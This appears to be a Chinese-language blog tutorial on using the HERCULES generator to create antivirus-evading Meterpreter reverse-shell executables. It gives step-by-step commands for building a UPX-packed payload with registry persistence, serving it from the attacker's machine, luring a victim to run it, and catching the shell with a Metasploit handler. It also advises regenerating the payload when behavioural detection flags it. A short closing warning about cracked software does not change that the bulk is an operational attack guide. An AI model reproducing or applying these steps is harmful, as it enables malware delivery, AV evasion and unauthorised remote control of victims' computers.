1. 程式人生 > 其它 >如何用HERCULES繞過殺軟

如何用HERCULES繞過殺軟

HERCULES是一個由Go語言開發的可以繞過防病毒軟體的可定製的有效載荷生成器,只需簡單的設定,就可以生成用於Metasploit的免殺payload,經測試,可完美繞過當前主流防病毒軟體查殺檢測。

Let us learn how to use it !

測試環境:

kali linux 2.0 : 192.168.1.100

windows7 x64 : 192.168.1.140

測試流程:

1.下載配置go語言環境;

2.下載初始化HERCULES ;

3.生成免殺exp;

4.誘使受害者下載執行exp

5.Metasploit監聽並獲取許可權

(一)下載配置go語言環境:

在kali linux 攻擊機中安裝go 語言環境。

1.下載原始碼包:

wget -c https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz

2.解壓檔案至/usr/local

tar -C /usr/local -xzf go1.8.3.linux-amd64.tar.gz

3.設定環境變數(讓命令go有效)

cd ~vim .profile

在檔案未必追加:

export PATH=$PATH:/usr/local/go/bin

儲存退出

使當前配置檔案生效

.  .profile

4.測試:

go version

(二)下載初始化HERCULES:

從github上下載HERCULES原始檔:

git clone https://github.com/noosec/HERCULES.git

下載HERCULES相關的資原始檔

wget -c https://github.com/fatih/color

初始化HERCULES

go get github.com/fatih/color

go run Setup.go

(三)生成免殺payload

1.選擇生成Payload:

運行當前目錄下HERCULES,選擇第一個選項:

2.選擇Tcp型別的 Meterpreter Payload

#WHAT IS UPX ?

UPX(Ultimate Packer for Executables)是一款免費的開源可執行封裝程式,支援來自不同作業系統的多種檔案格式。 UPX簡單地將二進位制檔案壓縮,在執行時將二進位制打包(解壓縮)本身打包到記憶體中。

#WHAT IS "AV EVASION SCORE" ?

AV Evasion Score是確定有效載荷反病毒繞過能力有效性的一個比例尺(1/10),1代表通過AV軟體的可能性很低。

使用特殊功能並用upx打包有效載荷可減少AV Evasion Score

選擇Tcp 型別的 Payload ,輸入 1,回車

3.進入payload引數設定介面:

輸入反彈回連的IP地址,埠號:

#Persistence:

永續性功能將執行的二進位制檔案新增到windows啟動登錄檔(CurrentVersion / Run ) 以進行持續訪問。

#Migration:

此函式觸發一個迴圈,嘗試遷移到遠端程序,直到成功遷移為止

以下設定可根據自已需要設定,這裡我選擇了使用永續性功能,增加了 by pass av 相關函式功能payload 並使用了 upx 加殼,生成了檔名為creak.exe的payload反彈exe程式。

經過以上設定,回車之後,會在當前使用者主目錄下生成相關免殺exe程式:

對於相關程式是否免殺,我們可以通過線上av查殺網站進行測試,通過35個查殺軟體掃描,全部掃描的結果為clean:

國內某殺軟體 :

(四)Win7下載生成的exe

在Kali Linux 中 exe檔案所在目錄執行,將當前目錄檔案共享:

python -m SimpleHTTPServer

win7 中使用瀏覽器訪問:http://192.168.1.100/creak.exe,下載檔案到本地。

(五)Metasploit監聽並獲取許可權

使用msf,載入以下兩個模組,設定相關引數,並等待連線:

exploit/multi/handler 

windows/meterpreter/reverse_tcp

在win7上執行creak.exe,msf 成功收到反彈shell。

END :

在測試過程中,當執行生成的Payload之後,防毒軟體可能會基於行為分析,將生成的payload識別為木馬程式,當遇到這種情況後,只需使用HERCULES重新生成一次,就可 by pass this AV 了。

在國內,各種軟體下載網站,各種破解程式多不勝數,這些軟體都有一個共性,在執行的時候,建議關閉防毒軟體,亦或是建議先使用防毒軟體進行一次雲查殺,再告訴使用者,此軟體是乾淨、無毒的,建立關閉防毒軟體,再執行相關程式檔案,但結果可能是,你運行了一個木馬程式。